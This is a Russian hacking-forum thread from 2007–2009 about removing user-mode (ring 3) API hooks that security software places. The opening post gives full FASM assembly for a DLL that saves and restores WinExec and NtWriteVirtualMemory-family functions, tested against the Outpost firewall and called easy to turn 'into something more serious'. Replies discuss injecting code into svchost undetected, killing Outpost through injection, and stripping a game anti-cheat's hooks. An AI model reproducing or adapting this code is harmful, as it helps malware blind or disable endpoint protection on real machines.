Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Dll для снятия хуков третьего кольца |

15.04.2007, 11:06
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Dll для снятия хуков третьего кольца
Очень простой пример снятия хуков третьего кольца, с использованием DLL
Язык: Ассемблере( fasm).
Пояснение: Этот пример работает потому, что установщики хуков, обычно устанавливают их непосредственно перед точкой входа в программу, но загрузка и инициализация библиотек DLL, происходить ещё до запуска основной нити(ака Thread) процесса, так что мы разрешаем запись в эти функции, копируем их содержимое и разрешаем каму-попало устанавливать различные хуки, а когда они закончат, просто возьмём и восстановим всё как было.
Код DLL:
Код:
format PE GUI 4.0 DLL
entry DllEntryPoint
include 'win32a.inc'
section '.code' code readable executable
proc DllEntryPoint uses edi, hinstDLL,fdwReason,lpvReserved
mov edi, buffer
stdcall BackUpProc, WinExec
stdcall BackUpProc, ZwProtectVirtualMemory
stdcall BackUpProc, ZwWriteVirtualMemory
mov eax, TRUE
ret
endp
proc BackUpProc uses esi ecx ebx, Original
mov ebx, [Original]
push edi
mov edi, [ebx]
mov al, 0x90 ; Getting proc size by first nop
xor ecx, ecx
mov cl, -1
repne scasb
jne .Error
not cl
add ecx, 3
shr ecx, 2
pop edi
mov esi, [ebx]
mov [ebx], edi
mov eax, ecx
stosd
mov eax, esi
stosd
lea ebx, [ecx*4]
rep movsd
invoke VirtualProtect, eax, ebx, PAGE_EXECUTE_READWRITE, tmp
.Error:
ret
endp
proc RestoreAll
stdcall RestoreProc, ZwProtectVirtualMemory
stdcall RestoreProc, ZwWriteVirtualMemory
stdcall RestoreProc, WinExec
ret
endp
proc RestoreProc uses esi, Backup
mov esi, [Backup]
mov esi, [esi]
mov ecx, [esi]
mov edi, [esi+4]
add esi, 8
rep movsd
ret
endp
section '.idata' import data readable writeable
library ntdll,'NTDLL.DLL',\
kernel,'KERNEL32.DLL',\
user,'USER32.DLL'
import ntdll,\
ZwProtectVirtualMemory,'ZwProtectVirtualMemory',\
ZwWriteVirtualMemory,'ZwWriteVirtualMemory'
import kernel,\
WinExec,'WinExec',\
VirtualProtect,'VirtualProtect'
section '.edata' export data readable
export 'UNHOOK.DLL',\
RestoreAll,'RestoreAll'
section '.resto' data readable writable
buffer rd 1024 ; 1 page
tmp dd ?
section '.reloc' fixups data discardable
Код примера вызова:
Код:
format PE GUI 4.0
entry start
include 'win32a.inc'
section '.code' code readable executable
start:
invoke MessageBoxA, 0, msg, tit, MB_YESNO
cmp eax, IDYES
jne .dont_restore
call [RestoreAll]
.dont_restore:
invoke WinExec, cmd, SW_SHOW
invoke ExitProcess, 0
cmd db 'C:\Program Files\Internet Explorer\IEXPLORE.EXE http://antichat.ru', 0
msg db 'Do you realy wonna take all the hooks off?', 0
tit db 'Do take it off?', 0
section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
user,'USER32.DLL',\
unhook,'UNHOOK.DLL'
import kernel,\
ExitProcess,'ExitProcess',\
WinExec,'WinExec'
import user,\
MessageBoxA,'MessageBoxA'
import unhook,\
RestoreAll,'RestoreAll'
xxx dd ?
yyy dd ?
Данный пример снимает достаточно хуков для вызова эксплорера с адресом к командной строке, проверено на OutPost, его легко модифицировать и во что-нибудь более серьёзное, удачи...
Последний раз редактировалось hidden; 15.04.2007 в 11:13..
|
|
|

15.04.2007, 13:06
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Молодец, конечно.
ЗЫ. Смотреть лень, оно снимает какие хуки-то? SetWindowsHookEx или перехват сплайсингом или чем еще.
|
|
|

15.04.2007, 17:46
|
|
Постоянный
Регистрация: 20.08.2006
Сообщений: 327
Провел на форуме: 2472378
Репутация:
1077
|
|
Great, он спасается от сплайса. Dll инициализируется раньше запуска основного треда. Соответственно DllEntryPoint будет выполняться раньше точки входа и установщика хуков. Он бэкапит нужные функции. А когда начинает выполняться трэд он восстанавливает всё на место.
ЗЫ: С таким же успехом можно было запихнуть бэкапщик в TLS
|
|
|

15.04.2007, 19:28
|
|
Познающий
Регистрация: 30.11.2006
Сообщений: 49
Провел на форуме: 36434
Репутация:
28
|
|
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory ZwCreateThread CreateRemoteThread и прочее, что препятствует инжекту в доверенный процесс.
лично я обходил это след. образом: подгружал копию либы ntdll.dll , kernel32.dll и восстанавливал затёртые байты функций (там вначале функции идёт jmp на аутпостовскую либу). В итоге - полное молчание аутпоста даже на инжект в сервисхост.
|
|
|

15.04.2007, 23:06
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
все верно и красиво расписано. но истину мне это не открыло.
стандартная ситуация когда человек в чем-то разобрался и решил сам за себя порадоваться. я так всегда делаю(((
>>
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory
аутпост ставит хук на звВрайтвиртуалмемори через SDT в нулевом колцье
Последний раз редактировалось KEZ; 15.04.2007 в 23:11..
|
|
|

15.04.2007, 23:34
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Сообщение от kez
аутпост ставит хук на звВрайтвиртуалмемори через Sdt в нулевом колцье
Это тоже не помешает, если перехватить её и записать что надо, куда надо во время создания процесса, т.к. она вызывается при это несколько раз и отутпост не имеет право ей мешать, пока процесс окончательно не закончит формирование параллельного.
|
|
|

16.04.2007, 01:53
|
|
Time out
Регистрация: 28.11.2005
Сообщений: 547
Провел на форуме: 2320925
Репутация:
1348
|
|
Ужос, млин! Либо мне надо срочно начинать учить хуки всякие либо ппц - совесть моя меня съест (
__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.
|
|
|

16.04.2007, 12:33
|
|
Познающий
Регистрация: 30.11.2006
Сообщений: 49
Провел на форуме: 36434
Репутация:
28
|
|
Сообщение от KEZ
все верно и красиво расписано. но истину мне это не открыло.
стандартная ситуация когда человек в чем-то разобрался и решил сам за себя порадоваться. я так всегда делаю(((
>>
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory
аутпост ставит хук на звВрайтвиртуалмемори через SDT в нулевом колцье
Полный бред. аутпост СДТ не перехватывает. это может быть либо КАВ либо ещё что-то... Я даже прогу писал - убивает аутпост через инжект в него, затем ZwTerminateProcess(-1,0); Драйвер аутпосту нужен лишь для перехвата устройств \Tcp \Ip \Udp \RawIp. Хук на инжект ставится в третьем кольце. По крайней мерии, я тестировал на версии третьей и четвёртой версиях.
Последний раз редактировалось gevara; 16.04.2007 в 12:40..
|
|
|

09.03.2009, 13:18
|
|
Banned
Регистрация: 27.03.2008
Сообщений: 66
Провел на форуме: 548347
Репутация:
113
|
|
Вернемся к теме  вот античит для линейки который ставит хуки на CreateThead.
shieldConsole
Как их снять воспользовавшись данным методом?
За помощь +++++ )
|
|
|

09.03.2009, 16:53
|
|
HARDstasy
Регистрация: 26.11.2004
Сообщений: 1,367
Провел на форуме: 4226592
Репутация:
2175
|
|
для на4ала снять WinLicense на бинаре, декомпильнуть код из ВМ и изу4ать принцип работы, ибо единоразовым снятие хуков врядли думаю решится проблема
а, вообще, тебе в раздел реверсинга...
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|